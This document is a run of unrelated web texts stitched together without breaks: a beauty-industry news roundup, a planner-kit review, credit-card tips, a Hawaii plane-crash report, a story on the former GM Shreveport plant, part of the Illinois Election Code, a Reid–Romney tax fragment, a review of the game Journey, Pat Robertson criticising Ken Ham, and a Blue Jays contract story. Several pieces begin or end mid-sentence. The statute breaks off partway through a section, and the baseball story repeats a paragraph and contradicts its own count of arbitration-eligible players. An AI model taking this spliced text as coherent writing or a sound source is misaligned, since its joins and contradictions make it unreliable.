.com Chinese state media reports that South Korean beauty imports are failing quality control tests Chosun.com AmorePacific and LG Household & Health Care shares drop on announcement of new regulatory risks KoreaTimes.co.kr China to tighten sanitary rules on South Korean beauty imports KoreaTimes.co.kr Kim Rae Won selected as face of Atoclassic brand AllKPop.com Billionaire Zhang Guiping’s company invests $54 million USD into South Korea’s ID Healthcare to open plastic surgery clinics in China Forbes.com KAO Japan’s profits jumped 35.6% in the first six months of the fiscal year WWD.com Cosmetics and fashion make up the second largest category of online purchases in South Korea KoreaJoongangDaily.com Innovative British entrepreneur to bring Asia’s animal sheet-masks to the UK Nottinghampost.com “8 beauty innovations we have Korea to be thankful for” Vogue.co.uk Indian ayurvedic and herbal based skin care company, Shahnaz Husain, to go global TelegraphIndia.com Market and Trends Physician dispensed cosmeceuticals market to surge according to market research firm PRNewswire.com L’Oreal is the most-watched beauty brand on Youtube ReelSEO.com US FDA sends warning letter to Annemarie Gianni Skin Care for drug-like marketing FDA.gov Survey finds 80% of US tweens use personal care products Drugstorenews.com Cosmoprof sets attendance record PRNewswire.com Outreach and Sustainability Beauty companies and the struggle to source child labour-free mica TheGuardian.com Study finds palm oil production big component of tropical deforestation UCUSA.org Wisconsin Salvation Army receives 350+ pound donation of personal care items KFIZ.com Look Good Feel Better and Saks Fifth Avenue host the 5th Annual National Beauty Editors Day Yahoo.com Australian doctors calling for tighter regulations on cosmetic procedures TheCourier.com.au US President Obama appoints Dermalogica CEO, Jane Wurwand, as entrepreneurship ambassador Time.com US FDA warns against unlabelled foreign cosmetics, may contain substances like mercury ACSH.org Corporate Avon announces cash tender offers PRNewswire.com Castanea Partners and Main Post Partners are teaming up to Becca Cosmetics WWD.com L’Oreal’s third quarter financial results miss estimates, due to slow down in sales in France Bloomberg.com L’Oreal finances down due to write-downs for Clarisonic brand WSJ.com L’Oreal opens research center for skin and hair in Johannesburg, South Africa LOreal.com Revlon sales are up, income down due to foreign exchange rates WWD.com My Import USA acquires TAG body spray brand from Proctor & Gamble Businesswire.com Huda Beauty sponsors a US national holiday for lipstick WWD.com Vice Media acquires majority stake in Starworks Beauty and Talent TheIndustryLondon.com Interesting Reads The sordid f*cked up history of red lipstick Mic.com Youtuber Jackie Aina starts Black Owned Makeup Brands (BOMB) movement Allure.com Youtube hosts #YoutubeBlack to celebrate Black creators and beauty gurus TubeFilter.com An interview with StyleSeat CEO, Melody McCloskey, on raising $40 million USD in venture capital Forbes.com Kim Kardashian’s dermatologist on “the future of ageing” WMagazine.com Ciara says Future’s comments about her cost her a $500 000 USD cosmetic contract Complex.com An interview with various women about their stretch marks GisborneHerald.co.nz Inside beauty Youtuber Huda Kattan’s makeup closet Refinery29.com The chemical reactions taking place when you swim in a pool ACS.orgHappie Scrappie is a monthly planner kit that has three choices: personal size, A5 size, and Fauxdori. Happie Scrappie Subscription A5 size $15.99 plus shipping ($6.75) Fauxdori size $15.99 plus shipping ($6.75) Personal size $12.99 plus shipping ($6.75) The planners that these work in are A5 size and personal. If you have a travel notebook or midori, you can purchase the Fauxdori size. Happie Scrappie ships from Malaysia and there is a theme of the month. This months theme was Tutti Frutti! Her kits include a variety of planner products: washi tape, inserts, charms, pens, Watermelon Pouch – ($2.99) The Fauxdori kits came with the watermelon pouch and it is so cute! I can keep little erasers and tags in it. The A5 planner came with an orange case and the personal size came with a pineapple. The kits do not always contain pouches but if she can find a matching pouch to the theme, she will include it. Watermelon Charm – My Fauxdori set had a matching watermelon charm in it. The pineapple pouch set had a matching pineapple charm and the orange pouch had a cherry charm. You can add the charm to your travel notebook or planner. Orange sticky notes – The kit usually includes some sort of sticky notes. I love the matching fruit themed ones. It is really cute. There were random fruits put into each kit. You can use these to decorate your planner, studying or for just a note. There are several sticky notes still available in the online store. Fruit Pen – ($1.99) There were four different pens sent in the kits and I got my favorite color! My pen says I Like Fresh Tea. There is one that says Don’t steal my pen! These write so well too – the person who chooses the pens for the kit does a great job. Fruit Note Pads – ($1.50) There is always a large and small note pad included – sometimes we get more than one of the small. Each kit had different sets. I am very happy with the set I received. You can use these in your planner to decorate or stamp on them. I laminated a set of mine to put washi tape on and attach other items. Fruit Washi tape – ($2.50) How cute is this fruit tape? It goes perfectly with the kit! These can be used to decorate your planners and so many other things! I put washi tape on my phone chargers to keep my kids from stealing them. Fruit Tags – (2.99) There is usually a tag set included or some type of journal cards included in the kit. These are double sided and so fun! I love the way the theme is used through all of the items. The other side: Fruit Dashboard – ($5.99) There is always a dashboard included in the kit. This is a cardboard decorative paper you can put at the front of your planner to decorate it. You can punch holes in this to use in a planner or use in your Dori inserts – either gluing onto one or just using loose. The other side: Fruit Bookmark – ($3.99) There is always a bookmark in the kit that goes with the theme. I love this month’s! It is so fruity cute! There is gold foil on this one! The other side: Planner Stickers – ($3.20) The kit has the cutest stickers included and there are always so many! There are hydration stickers and mini dew drops with fun planner words. They color coordinate with the rest of the kit. The prices on these are so reasonable. Fauxdori Insert – ($2.99) These inserts are used for travel notebooks and Midori’s. The creator of this kit, Sam, makes the cutest inserts. Sam is actually creating a whole new line to be purchased in the online store. The Tutti Frutti kit was just perfect! I love how it all coordinated and there are so many uses for everything. This kit is a great value as well – you are saving by purchasing it in the kit rather than item by item. Sam has also added a FedEx feature to get 2 day shipping for a more expensive shipping price but this will allow you to add stuff from the shop to your kit order and save on shipping that way.How to Get a Low Interest Rate Credit Card Ever ended up paying more on a low-cost purchase due to your credit card interest rate? Well, what I have come to realize with credit card rates is that not every deal that sounds good turns out to be exactly that. There are times I have ended up paying up to even four times the cost of a purchase, and in this hard economic times, that doesn’t sound sweet to any hard-working citizen like me. As such, the importance of low interest rate credit cards cannot be overemphasized. However, the trick is normally in how to get a credit card that its rate is actually low as you expect or see it in the various offer adverts. Experience is a very excellent teacher, and years of it have taught me to always look beyond the promotional material that is normally peddled by the different credit card bureaus. My tips for getting a good credit card might not be the type you that your professional financial adviser will give you, but nevertheless, they are in touch with the true picture on the ground. So here are my major steps towards achieving that goal. Step 1: Do You Qualify for the Credit Card Offer? This should be your starting point before you can evaluate any offer. I personally do not have such a high credit score –but the only consolation is that I am not alone at such times when we are all fighting to fix our budget deficit. Many credit card bureaus give first priority to people with a very healthy credit record when it comes to low rates. However, some companies are having to dance to the market tune and offer the low rates to people who have a very poor score, because apparently, this is the financial situation that many people are finding themselves in currently. I normally like scrutinizing the annual rate on a given credit cards offer to see if what I am being offered is real. It is the first step in getting a good deal, and if you blunder at this stage, then chances are that you are in for a very raw deal. And the deal might even not be present in the first place in order for it to be raw, and in this case I am talking about scams. Yes, you might claim to be so smart that you cannot fall for these scams, but remember that such culprits are always getting smarter every day. Never assume anything and let your guard down. You will probably have to talk to your bank, right? Then let me let you in on a little secret, banks and many other financial institutions will not disclose to you the hidden costs on a deal until you pressure them to so. Nevertheless, they are still the best placed to give you the information you need. Just be inquisitive enough and ask everything you need to know. Step 2: Understanding the Interest Rates This is the best part, and the lower the rate, the better for me. What about you? I guess we are reading from the same script. But do you know what is actually entailed in the APR –Average Percentage Rate? As much as it might be a sweet APR for you, understand that it is an average, and almost anything can be hidden in an average, including cats and dogs clamped together. Nevertheless, an average rate gives you a hint of how much cost in terms of credit card fees that you will incur on your card. To be smart, do not also be average in your reading, but get to the blue print to know the facts. Breaking the APR further, you have the fixed and the variable APR. Sometimes, the credit card company will not state clearly which one is being provided for in their offer. But if you ask me, I will not hesitate to recommend the fixed rate credit card with an APR that is mouth watering low. On the other hand, the variable APR varies with the prime rate which is normally not controlled by you, but the Federal Reserve. When the prime rate figures are nasty, then bet your variable rate will be nastier. The reverse can be good, but such situations are now hard to come by. So there you are with your second step in getting a low interest rate credit cards, and that is, give a fixed APR priority over a variable APR. Step 3: Arm Yourself with Your Credit Score Facts The credit bureaus have been mandated to furnish tax payers with their credit reports annually for free. That is welcome news, but unfortunately, your credit score is not included in such a report, unless you sign up for this. Assuming you sign up for all the major three credit bureaus, so how do you stay updated with your score? This is how I go round the issue. I normally sign for the bureaus to send me my score at intervals of four months, but each of them once per year so that I don’t end up paying more. That way, my FICO score stays updated quarterly! Smart, isn’t it? Armed with a good score, you stand to get a good credit card deal. Generally, a higher score means that you stand to get a better credit card deal and vice versa. Step 4: Shop Around, Looking for fine Details Do I need to tell you that you have the internet at your disposal to do this? I guess not. However, knowing your credit score will help you select the best offer available for your case. The four major categories on a comparison page for various bank rates are excellent, good, average and bad credit, based on your score. Also, remember that the more you apply for credit, the more you increase your likelihood of dropping on your score. Last but not least, never forget to read the terms and conditions section, because that is where the details are. Having gathered all the above facts, you can now know how to get a credit card with a rate that best suits you.NTSB: Plane made climbing, descending turns before disappearing from radar Copyright by KHON - All rights reserved Dean Hutton (Photo: Lyssa Chapman) [ + - ] Video We're learning more about the small plane that crashed in the mountains above Kunia nearly two weeks ago, killing four people. The National Transportation Safety Board released Tuesday details from its preliminary investigation. On July 28, the report says the single-engine Beech 19A with the tail number N6142N left Daniel K. Inouye International Airport for a sunset flight at around 6:37 p.m. The NTSB says about 10 minutes into the flight, recorded radar data shows the plane made some climbing and descending turns. Five minutes later, it climbed to an altitude of 2,000 feet and disappeared from radar. The Federal Aviation Administration issued an alert notice the next day, when family members reported that the flight was overdue. The U.S. Coast Guard later located the wreckage on steep, mountainous terrain. It has remained on the mountainside since then, because the NTSB says, the aircraft is not insured. "So far we have been able to recover aircraft maintenance records, pilot log books, air traffic communications from HNL, radar data, tracking the aircraft from the airport to the accident site," said investigator Debra Eckrote. "There is still the unknown possibility in the event if there was mechanical failure with the aircraft, we won't know that. So this could be undetermined if the wreckage does not come off the hill." The land that the wreckage is on belongs to the state Department of Land and Natural Resources. Officials say they need more information before they can move forward with removing the wreckage.What's next for the former General Motors Shreveport facility Video CADDO PARISH - Louisiana legislators tour the former General Motors Shreveport plant that closed in 2012. "After the billion plus dollars was invested in this new assembly line, why is it not being used here in Shreveport?" said Louisiana Senator, Barrow Peacock. The RACER Trust (Revitalizing Auto Communities Environmental Response) previously owned the plant and was responsible for positioning the property, along with 88 other closed GM locations, for redevelopment. Part of the building was leased out to Elio Motors, a startup, three wheel car company promising 1,500 new jobs. "There are two jobs is what they said that are out there and after seven and a half million in taxpayer's money, it's hard to justify," said State Representative, Thomas Carmody. "We were the best choice and everybody backed us from Caddo Parish to Shreveport to Louisiana," said CEO, Paul Elio. "This has not occurred in the timeframe or in the path that we thought. There were a lot of obstacles but you have to admit we hung in there and figured it out." Elio says they've raised more than 100 million dollars and have "less than 300 million dollars to raise." The Louisiana House of Representatives' Commerce Committee questioned RACER's actions during Wednesday's public meeting. State Representative Cedric Glover presented a 2013 letter from Caddo Parish Commission President at the time, Lindora Baker, and President of the North Louisiana Economic Partnership, Scott Martinez. It was addressed to Bruce Rasher, the Redevelopment Manager at RACER Trust prior to signing the deal with Elio Motors. The letter writes the following quote in reference to Project Phoenix, a project that would result in about 3,000 full-time jobs and about 2,000 seasonal positions. "As you are aware, we recently were approached by a major global company (with more than $10 billion in annual sales) that is highly interested in securing the GM-Shreveport facility." "Moreover, we don't understand why RACER is so determined to close the transaction with Elio in a way that disregards the interest of the community and the state given that it has been acknowledged that Elio effectively is in default with RACER." "The intention apparently on the part of RACER and Mr. Rasher and Mr. Laws (Trustee) and I guess now you [Rick Zablocki] included is to say we don't care, we're focused on Elio," said Glover. "We built in the flexibility in the Elio transaction that if this other prospect, if the project materialized, there was flexibility to keep both projects," said RACER Representative, Rick Zablocki. Assistant Secretary for Louisiana Economic Development, Mandi Mitchell told the board that the company regarding Project Phoenix, ultimately chose to go to Texas. She also went on to list four other potential projects that chose other options. "If there had been a legitimate cash on the table deal for somebody to come in and use that site instead of us, then we would've moved aside, but that hasn't happened," said Elio. Caddo Parish Administrator, Dr. Woodrow Wilson says he was told from RACER representatives that the only other option other than Elio, was to demolish the property for salvage value. "The didn't quite say go along with this scenario, he's saying your options are limited," said Wilson. Caddo Parish Commissioner, Matthew Linn says he took it as a threat and voted under intimidation. "If they're going to bulldoze it or we're going to make this deal with this one person, this one option that was presented to us, then I'm going to vote to go ahead and do it," said Linn. Elio says the target time to start production in the plant, bringing jobs, is the fourth quarter of 2017. "I wish that we had more information to reassure the public as to what the future holds for the prospects of employment opportunities at the GM plant but today I'm no more comfortable on when that might happen, than I was yesterday," said Carmody. Glover says they asked some good questions and got bad answers. "I think we've had a chance to be able to at least accomplish the initial goal and objective and that is to shed some sunlight on what has been a very opaque, shady, dark and cloudy set of circumstances," said Glover. The Caddo Parish Industrial Development Board now legally owns the plant. Stu Litchter, a representative with the Industrial Realty Group (IRG)/Shreveport Business Park, LLC, says they have four letters of intent to use the space and one company indicated they would give an answer within the next two weeks. IRG is now responsible for bringing jobs to the facility. The information will be presented to the Louisiana House of Representatives prior to convening of the 2017 Regular Session of the Legislature of Louisiana.Illinois Compiled Statutes Information maintained by the Legislative Reference Bureau Updating the database of the Illinois Compiled Statutes (ILCS) is an ongoing process. Recent laws may not yet be included in the ILCS database, but they are found on this site as Public Acts soon after they become law. For information concerning the relationship between statutes and Public Acts, refer to the Guide Because the statute database is maintained primarily for legislative drafting purposes, statutory changes are sometimes included in the statute database before they take effect. If the source note at the end of a Section of the statutes includes a Public Act that has not yet taken effect, the version of the law that is currently in effect may have already been removed from the database and you should refer to that Public Act to see the changes made to the current law. () 10 ILCS 5/Art. 1 (10 ILCS 5/Art. 1 heading) ARTICLE 1. GENERAL PROVISIONS 10 ILCS 5/1-1 (10 ILCS 5/1-1) (from Ch. 46, par. 1-1) Sec. 1-1. This Act may be cited as the Election Code. This Act is the general election law of Illinois and any reference in any other Act to "the general election law" or "the general election law of this State" is a reference to this Act, as now or hereafter amended. (Source: P.A. 86-1475.) 10 ILCS 5/1-2 (10 ILCS 5/1-2) (from Ch. 46, par. 1-2) Sec. 1-2. The provisions of this Act, so far as they are the same as those of any prior statute, shall be construed as a continuation of such prior provisions, and not as a new enactment. If in any other statute reference is made to an Act of the General Assembly, or a Section of such an Act, which is continued in this Code, such reference shall be held to refer to the Act or Section thereof so continued in this Code. (Source: P.A. 100-863, eff. 8-14-18.) 10 ILCS 5/1-3 (10 ILCS 5/1-3) (from Ch. 46, par. 1-3) Sec. 1-3. As used in this Act, unless the context otherwise requires: 1. "Election" includes the submission of all questions of public policy, propositions, and all measures submitted to popular vote, and includes primary elections when so indicated by the context. 2. "Regular election" means the general, general primary, consolidated and consolidated primary elections regularly scheduled in Article 2A. The even numbered year municipal primary established in Article 2A is a regular election only with respect to those municipalities in which a primary is required to be held on such date. 3. "Special election" means an election not regularly recurring at fixed intervals, irrespective of whether it is held at the same time and place and by the same election officers as a regular election. 4. "General election" means the biennial election at which members of the General Assembly are elected. "General primary election", "consolidated election" and "consolidated primary election" mean the respective elections or the election dates designated and established in Article 2A of this Code. 5. "Municipal election" means an election or primary, either regular or special, in cities, villages, and incorporated towns; and "municipality" means any such city, village or incorporated town. 6. "Political or governmental subdivision" means any unit of local government, or school district in which elections are or may be held. "Political or governmental subdivision" also includes, for election purposes, Regional Boards of School Trustees, and Township Boards of School Trustees. 7. The word "township" and the word "town" shall apply interchangeably to the type of governmental organization established in accordance with the provisions of the Township Code. The term "incorporated town" shall mean a municipality referred to as an incorporated town in the Illinois Municipal Code, as now or hereafter amended. 8. "Election authority" means a county clerk or a Board of Election Commissioners. 9. "Election Jurisdiction" means (a) an entire county, in the case of a county in which no city board of election commissioners is located or which is under the jurisdiction of a county board of election commissioners; (b) the territorial jurisdiction of a city board of election commissioners; and (c) the territory in a county outside of the jurisdiction of a city board of election commissioners. In each instance election jurisdiction shall be determined according to which election authority maintains the permanent registration records of qualified electors. 10. "Local election official" means the clerk or secretary of a unit of local government or school district, as the case may be, the treasurer of a township board of school trustees, and the regional superintendent of schools with respect to the various school officer elections and school referenda for which the regional superintendent is assigned election duties by The School Code, as now or hereafter amended. 11. "Judges of election", "primary judges" and similar terms, as applied to cases where there are 2 sets of judges, when used in connection with duties at an election during the hours the polls are open, refer to the team of judges of election on duty during such hours; and, when used with reference to duties after the closing of the polls, refer to the team of tally judges designated to count the vote after the closing of the polls and the holdover judges designated pursuant to Section 13-6.2 or 14-5.2. In such case, where, after the closing of the polls, any act is required to be performed by each of the judges of election, it shall be performed by each of the tally judges and by each of the holdover judges. 12. "Petition" of candidacy as used in Sections 7-10 and 7-10.1 shall consist of a statement of candidacy, candidate's statement containing oath, and sheets containing signatures of qualified primary electors bound together. 13. "Election district" and "precinct", when used with reference to a 30-day residence requirement, means the smallest constituent territory in which electors vote as a unit at the same polling place in any election governed by this Act. 14. "District" means any area which votes as a unit for the election of any officer, other than the State or a unit of local government or school district, and includes, but is not limited to, legislative, congressional and judicial districts, judicial circuits, county board districts, municipal and sanitary district wards, school board districts, and precincts. 15. "Question of public policy" or "public question" means any question, proposition or measure submitted to the voters at an election dealing with subject matter other than the nomination or election of candidates and shall include, but is not limited to, any bond or tax referendum, and questions relating to the Constitution. 16. "Ordinance providing the form of government of a municipality or county pursuant to Article VII of the Constitution" includes ordinances, resolutions and petitions adopted by referendum which provide for the form of government, the officers or the manner of selection or terms of office of officers of such municipality or county, pursuant to the provisions of Sections 4, 6 or 7 of Article VII of the Constitution. 17. "List" as used in Sections 4-11, 4-22, 5-14, 5-29, 6-60, and 6-66 shall include a computer tape or computer disc or other electronic data processing information containing voter information. 18. "Accessible" means accessible to persons with disabilities and elderly individuals for the purpose of voting or registration, as determined by rule of the State Board of Elections. 19. "Elderly" means 65 years of age or older. 20. "Person with a disability" means a person having a temporary or permanent physical disability. 21. "Leading political party" means one of the two political parties whose candidates for governor at the most recent three gubernatorial elections received either the highest or second highest average number of votes. The political party whose candidates for governor received the highest average number of votes shall be known as the first leading political party and the political party whose candidates for governor received the second highest average number of votes shall be known as the second leading political party. 22. "Business day" means any day in which the office of an election authority, local election official or the State Board of Elections is open to the public for a minimum of 7 hours. 23. "Homeless individual" means any person who has a nontraditional residence, including, but not limited to, a shelter, day shelter, park bench, street corner, or space under a bridge. 24. "Signature" means a name signed in ink or in digitized form. This definition does not apply to a nominating or candidate petition or a referendum petition. 25. "Intelligent mail barcode tracking system" means a printed trackable barcode attached to the return business reply envelope for mail-in ballots under Article 19 or Article 20 that allows an election authority to determine the date the envelope was mailed in absence of a postmark. (Source: P.A. 99-143, eff. 7-27-15; 99-522, eff. 6-30-16.) 10 ILCS 5/1-3.5 (10 ILCS 5/1-3.5) Sec. 1-3.5. Absentee voting. Any references to absentee ballots, absentee voters, absentee registration, or absentee voting procedures in this Code shall be construed to refer to vote by mail ballots, persons who vote by mail, registration by mail, or voting by mail. (Source: P.A. 98-1171, eff. 6-1-15.) 10 ILCS 5/1-4 (10 ILCS 5/1-4) (from Ch. 46, par. 1-4) Sec. 1-4. (a) In any case in which this Act prescribes a period of time within which petitions for nomination must be filed, the office in which petitions must be filed shall remain open for the receipt of such petitions until 5:00 P.M. on the last day of the filing period. (b) For the 2013 consolidated election period, an election authority or local election official shall accept until 104 days before the election at which candidates are to be on the ballot any petitions for nomination or certificate of nomination required by this Code to be filed no earlier than 113 and no later than 106 days before the consolidated election. Notwithstanding any other provision of this Code, for purposes of this subsection (b) only, signatures and circulator statements on petitions for nomination filed with an election authority or local election official on the final day for filing petitions for nomination shall not be deemed invalid for the sole reason that the petitions were circulated between 90 and 92 days before the last day for filing petitions. (Source: P.A. 97-1134, eff. 12-3-12.) 10 ILCS 5/1-5 (10 ILCS 5/1-5) (from Ch. 46, par. 1-5) Sec. 1-5. (Repealed). (Source: P.A. 86-873. Repealed by P.A. 89-653, eff. 8-14-96.) 10 ILCS 5/1-6 (10 ILCS 5/1-6) Sec. 1-6. Computing dates of various acts; Saturday, Sunday, and holidays. (a) If the first or last day fixed by law to do any act required or allowed by this Code falls on a State holiday or a Saturday or a Sunday, the period shall extend through the first business day next following the day otherwise fixed as the first or last day, irrespective of whether any election authority or local election official conducts business on the State holiday, Saturday, or Sunday. (b) For the purposes of this Section, "State holiday" means New Year's Day, Dr. Martin Luther King, Jr.'s Birthday, Lincoln's Birthday, President's Day, Casimir Pulaski's Birthday, Good Friday, Memorial Day, Independence Day, Labor Day, Columbus Day, Veterans' Day, Thanksgiving Day, Christmas Day, and any other day from time to time declared by the President of the United States or the Governor of Illinois to be a day during which the agencies of the State of Illinois that are ordinarily open to do business with the public shall be closed for business. (c) Notwithstanding any other provision of this Code, nominating papers, petitions of objection to nominating papers, certificates of withdrawal of candidacy, and reports of political committees actually received by election authorities and local election officials on a State holiday, a Saturday, or a Sunday shall not be deemed invalid or defective for that reason alone. (Source: P.A. 89-653, eff. 8-14-96; 90-672, eff. 7-31-98.) 10 ILCS 5/1-7 (10 ILCS 5/1-7) Sec. 1-7. No straight party voting. Notwithstanding any provision of law to the contrary, straight party voting by a single vote is not permitted in Illinois. (Source: P.A. 89-700, eff. 1-17-97.) 10 ILCS 5/1-8 (10 ILCS 5/1-8) Sec. 1-8. Canvassing boards abolished. Notwithstanding any other provision of this Code, local canvassing boards are abolished. In this Code or any other law a reference to a local or county canvassing board means (i) for elections in which the political subdivision that is choosing candidates or submitting a public question is located entirely within the jurisdiction of a single election authority, that election authority and (ii) for elections for offices and public questions not listed in Section 22-1 of this Code in which the political subdivision that is choosing candidates or submitting a public question is located within the jurisdiction of 2 or more election authorities, the election authority having jurisdiction over the location at which the political subdivision has its principal office. (Source: P.A. 94-647, eff. 1-1-06.) 10 ILCS 5/1-9 (10 ILCS 5/1-9) Sec. 1-9. Central counting of grace period, early, vote by mail, and provisional ballots. Notwithstanding any statutory provision to the contrary enacted before the effective date of this amendatory Act of the 94th General Assembly, all grace period ballots, early voting ballots, vote by mail ballots, and provisional ballots to be counted shall be delivered to and counted at an election authority's central ballot counting location and not in precincts. References in this Code enacted before the effective date of this amendatory Act of the 94th General Assembly to delivery and counting of grace period ballots, early voting ballots, vote by mail ballots, or provisional ballots to or at a precinct polling place or to the proper polling place shall be construed as references to delivery and counting of those ballots to and at the election authority's central ballot counting location. (Source: P.A. 98-1171, eff. 6-1-15.) 10 ILCS 5/1-9.1 (10 ILCS 5/1-9.1) Sec. 1-9.1. Ballot counting information dissemination. Each election authority maintaining a website must provide 24-hour notice on its website of the date, time, and location of the analysis, processing, and counting of all ballot forms. Each election authority must notify any political party or pollwatcher of the same information 24 hours before the count begins if such political party or pollwatcher has requested to be notified. Notification may be by electronic mail at the address provided by the requester. (Source: P.A. 98-1171, eff. 6-1-15.) 10 ILCS 5/1-9.2 (10 ILCS 5/1-9.2) Sec. 1-9.2. Uncounted ballot information on website. No later than 48 hours after the closing of polling locations on election day, each election authority maintaining a website shall post the number of ballots that remain uncounted. The posting shall separate the number of ballots yet to be counted into the following categories: ballots cast on election day, early voting ballots, provisional ballots, vote by mail ballots received by the election authority but not counted, and vote by mail ballots sent by the election authority but have not been returned to the election authority. This information shall be updated on the website of the election authority each day until the period for counting provisional and vote by mail ballots has ended. All election authorities, regardless of whether they maintain a website, shall share the same information, separated in the same manner, with the State Board of Elections no later than 48 hours after the closing of polling locations on election day and each business day thereafter until the period for counting provisional and vote by mail ballots has ended. (Source: P.A. 98-1171, eff. 6-1-15.) 10 ILCS 5/1-10 (10 ILCS 5/1-10) Sec. 1-10. Public comment. Notwithstanding any law to the contrary, the State Board of Elections in evaluating the feasibility of any new voting system shall seek and accept public comment from persons with disabilities, including but not limited to organizations of the blind. (Source: P.A. 99-143, eff. 7-27-15.) 10 ILCS 5/1-11 (10 ILCS 5/1-11) Sec. 1-11. (Repealed). (Source: P.A. 97-766, eff. 7-6-12. Repealed internally, eff. 5-31-13.) 10 ILCS 5/1-12 (10 ILCS 5/1-12) Sec. 1-12. Public university voting. (a) Each appropriate election authority shall, in addition to the early voting conducted at locations otherwise required by law, conduct early voting, grace period registration, and grace period voting at the student union on the campus of a public university within the election authority's jurisdiction. The voting required by this subsection (a) to be conducted on campus must be conducted from the 6th day before a general primary or general election until and including the 4
taxes when the Nevadan was asked about them on Thursday. Story Continued Below "Ha, ha. (Romney) never gave us his tax returns. Who was the brainchild that got him to do that?" Reid said at a news conference."He gave us a summary. He never gave us his tax returns." Romney's "bombshell" remark mirrored Reid's repeated claims four years ago that an anonymous source told him that Romney hadn't paid taxes for 10 years. But could there be a bombshell in Trump's tax returns? Reid wouldn't say. "All I know is, I can't imagine Romney having the gall coming out (and calling) for anybody's tax returns," Reid said.Journey, for me, was a magical experience. When I sit down a reflect on the games I've played since December last year, many of them fall into the "interactive movie" category. There's nothing wrong with that. The Last of Us, had me thinking about its themes long after I'd finished the game, and Arkham City is an excellent story that would hold up to any of the Batman stories in any other medium. But those games wouldn't lose all that much if they were translated into movies. In fact, without the constant repetition and restarts due to player deaths, The Last of Us might even make a better movie than it did a game. Journey, however, is the kind of experience that only works as a game. The wonderful thing about it is that it's an incredibly accessible game. Using only the twin analog joysticks and two buttons, it's a game that eschews complexity, timing based controls, and high speed reflexes and hand-eye coordination for a contemplative travel through the virtual landscapes it renders and the emotional spaces it evokes. What's more, unlike hard-core games that require hour upon hour of slogging and skill mastery, Journey is relatively short, and if you have time to watch a movie, you will have time for Journey. You control a traveler, rendered in simple fashion little more sophisticated than a stick figure. The start of the game has you contemplating a mountain far away, and it is understood (though the game never explicitly tells you) that you are going there. Along the way, you traverse a desert landscape, an underground cavern, underwater spaces, and a snowy tundra. You visit ruins, and encounter creatures, most of which help you, and perhaps, another traveler representing another player who is also making the same journey. You can't die, though there are moments when you are threatened, even succumbing to those threats won't hurt your ability to finish the game. The other player who might travel with you can't help or hinder you in your travels. In fact, other than a couple of gestures, you can't even communicate with each other explicitly. Yet the nature of the game is such that mere presence still grants you camaraderie. The puzzles will never stump you for more than 10 minutes, if that. There are no difficulty levels, no ability to save or restore the game. At no point are you forced to move forward, and nothing shoots at you when you're having a contemplative moment or just enjoying the scenery. If Journey was made into a movie, it would be flat, lacking the emotion it was designed to evoke. But by taking on the character in a virtual space, and providing the means for various forms of traversal, Journey managed to invoke in me feelings of exhilaration, as I slide down a sand dune or soar through the skies towards my goal. I felt fear, when a monster detected my presence (even though I knew I could not die), and came after me. And there were many many moments of wonder as I wandered through a new landscape, not knowing what would come, but enjoying the moments of beauty and solitude that came with making my way through the virtual spaces. The combination of the design, the music, the simplicity of the controls and the way the game teaches you what to do with just dialog and just a handful of on screen prompts in the first 15 minutes of play is nothing short of amazing. I don't want to over-state the pleasures and the strength of Journey. I wouldn't go as far as to say that you should acquire a PS3 just for this game. (I'd say that for Uncharted 2) But it truly is a game that I think just about everyone should play just to understand why video games are art. Just as missing out on great books like A Wizard of Earthsea would be a great pity, I think missing out on Journey would also subtract from your life. I bought Journey as part of a collector's edition. However, I will review the other two games on that disc (Flower, and Flow) separately. You can also purchase Journey directly from Sony as a download for $14.99. Highly recommended.Creationist Ken Ham is having his 15 minutes, following a live debate on evolution held between himself and Bill Nye "The Science Guy" on Tuesday. And while you'd expect most folks to deem Nye the winner (which they have), Ham is receiving criticism from a source you might not expect: televangelist Pat Robertson. Advertisement: On the Wednesday edition of his TV show, "The 700 Club," Robertson indirectly implored Ham to put a sock in it, criticizing Ham's view that the Earth is only 6,000 years old. "Let’s face it, there was a bishop [James Ussher]... who added up the dates listed in Genesis and he came up with the world had been around for 6,000 years,” Robertson began. "There ain’t no way that’s possible... To say that it all came about in 6,000 years is just nonsense and I think it’s time we come off of that stuff and say this isn’t possible." “We’ve got to be realistic that the dating of Bishop Ussher just doesn’t comport with anything that's found in science," Robertson continued, "and you can’t just totally deny the geological formations that are out there.” "Let’s be real," Robertson begged, "let’s not make a joke of ourselves.” Surprising as Robertson's comments may be, it turns out he's tussled with Ham on this issue before. Back in 2012, according to Right Wing Watch, Ham criticized Robertson for doubting the young-earth theory, saying the televangelist was letting his followers be "led astray" and that Robertson was spreading "destructive teaching within the church." Watch Robertson ask his fellow believers to "not make a joke" of themselves below, via Right Wing Watch:Cecil had another strong season out of the bullpen for Toronto in 2014. He went 2-3 with five saves while posting a 2.70 ERA in 66 appearances. TORONTO -- The Blue Jays avoided arbitration with Brett Cecil by signing the left-hander to a one-year, $2.475 million contract on Thursday afternoon. TORONTO -- The Blue Jays avoided arbitration with Brett Cecil by signing the left-hander to a one-year, $2.475 million contract on Thursday afternoon. Cecil had another strong season out of the bullpen for Toronto in 2014. He went 2-3 with five saves while posting a 2.70 ERA in 66 appearances. The Blue Jays haven't gone through the salary arbitration process since 1997, and they'll look to keep that streak intact. The club has two remaining players eligible for arbitration this offseason: third baseman Josh Donaldson and infielder Danny Valencia. Players and teams have until Friday to submit their salary requests. Negotiations are permitted to continue after that, but the Blue Jays have a club policy of not doing one-year contracts once the arbitration figures are exchanged. The only time the organization would make an exception is on a deal that involves multiple years of control. Casey Janssen, Jason Frasor and Jose Bautista are relatively recent examples of players who appeared headed for arbitration until multiyear deals were worked out. If the two sides are unable to agree on a new deal, an independent arbitrator is brought in to settle the dispute. Both parties would make their case at some point between Feb. 2-20, and the arbitrator then decides which of the salary figures is appropriate for the 2015 season. Donaldson is the most prominent player on Toronto's list. He's eligible for arbitration for the first time in his career and could earn upwards of $4.5 million, which would be a rather substantial increase on the approximately $500,000 he made last year. The 29-year-old was acquired by the Blue Jays in November after another impressive season with the A's. Donaldson finished the year with 29 home runs and 98 RBIs for Oakland, while finishing in the top 10 in the American League MVP Award voting for the second consecutive campaign. Toronto could eventually look to lock him up to a long-term extension, but with four years of control remaining, that doesn't appear to be a current priority. According to MLBTradeRumors, Estrada is projected to earn $4.7 million through arbitration. Saunders projects at $2.9 million and Valencia should be in the range of $1.7 million. The Blue Jays haven't gone through an arbitration hearing since right-hander Bill Risley had one in 1997. There have been some close calls, though, as Bautista was minutes away from a hearing starting in 2011, but the meeting was canceled after both sides agreed to a five-year deal. Gregor Chisholm is a reporter for MLB.com. Read his blog, North of the Border, and follow him on Twitter @gregorMLB.Image 